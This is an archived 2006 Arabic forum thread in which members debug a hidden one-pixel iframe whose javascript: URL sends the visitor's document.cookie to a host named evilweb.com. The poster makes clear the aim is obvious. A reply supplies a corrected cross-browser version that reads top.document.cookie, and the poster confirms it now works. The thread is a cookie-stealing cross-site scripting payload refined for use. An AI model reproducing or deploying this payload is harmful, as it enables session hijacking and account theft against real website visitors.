الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

خطأ javascript ضمن iframe >.<

مغلق
بدأه Xacker في 12 يوليو 2006 · 5 رد · 423 مشاهدة · في منتدى تصميم صفحات الويب
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع
<iframe src="java script:location.href='http://www.evilweb.com/page.php?i=' + document.cookie ';" frameborder=0 width=1 height=1></iframe>

أعتقد واضح ما اقوم به :P

لكنه لا يعمل, في <script> </script> يعمل لكن طبعا هذا ليس بخيار ..

فهل يملك احدكم تفسيرا لهذا :huh:

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#2

alsalam 3alaykom

there is a ['] after the document.cookie

<iframe src="java script:location.href='http://www.evilweb.com/page.php?i=' + document.cookie;"  frameborder=0 width=1 height=1></iframe>

<iframe src="java script:location.href='http://www.evilweb.com/page.php?i=' + document.cookie;" frameborder=0 width=1 height=1></iframe>

تم تعديل هذه المشاركة بواسطة Mo7eb_Alrasool في 12 يوليو 2006 في 07:39

سبحانك اللهم وبحمدك أشهد ان لا اله الا أنت

أستغفرك وأتوب اليك

الهم صلي وسلم وبارك على سيدنا وحبيبنا محمد

#3

شكرا أخي محب.. لكن, لنقل الصراحة الكود نصه الكامل كالتالي, لذا المشكلة ليست في الـ single closing quote.. سقطت سهواً

<iframe src="java script:location.href='http://evilweb.com/page.php?i=' + document.cookie + '&f=0&d=';" frameborder=0 width=1 height=1></iframe>

حيث f و d بعض بارامترات اخرى.. هل ترى اي خطأ في هذا لاني لا ارى شئ غريب!؟

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#4

السلام عليكم اخي

هذا الكود ما في غلط صحيح ولكن يعمل فقط على ال IE

ما المتصفح الذي تستعمله , وما نسخته؟

هذا الكود يعمل على ال IE and Netscape

<iframe id=fraevilweb height=1 width=1
		src="java script:top.document.getElementById('fraevilweb').src='http://evilweb.com/page.php?i=' + top.document.cookie + '&f=0&d='">
</iframe>

وهنالك شيئ ايضا

عندما تستخدم ال document in th src تاعت ال frame فان هذا ال document سوف يكون دوكيمنت الفريم

اما في ال Netscape فلا يوجد Document object للفريم [لا اعلم اذا اضافوها في النسخة السابعة]

لاسترجاع الدوكيمنت تاع الصفحة يجب ان تستخدم top.document

والله اعلم

تم تعديل هذه المشاركة بواسطة Mo7eb_Alrasool في 13 يوليو 2006 في 03:41

سبحانك اللهم وبحمدك أشهد ان لا اله الا أنت

أستغفرك وأتوب اليك

الهم صلي وسلم وبارك على سيدنا وحبيبنا محمد

#5

جزيت الخير يا اخي, لم اتعامل مع متصفحات غير IE من قبل, لم اتصور الاختلافات في تنفيذ السكربتات الى هذه الدرجة :P

وبخصوص الـ document.cookie, got ya ;)

الكود يعمل الان, الف شكر :)

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#6

حياك الله اخي

والحمد لله ان الكود اشتغل

سبحانك اللهم وبحمدك أشهد ان لا اله الا أنت

أستغفرك وأتوب اليك

الهم صلي وسلم وبارك على سيدنا وحبيبنا محمد

هذا الموضوع مغلق.

مواضيع مشابهة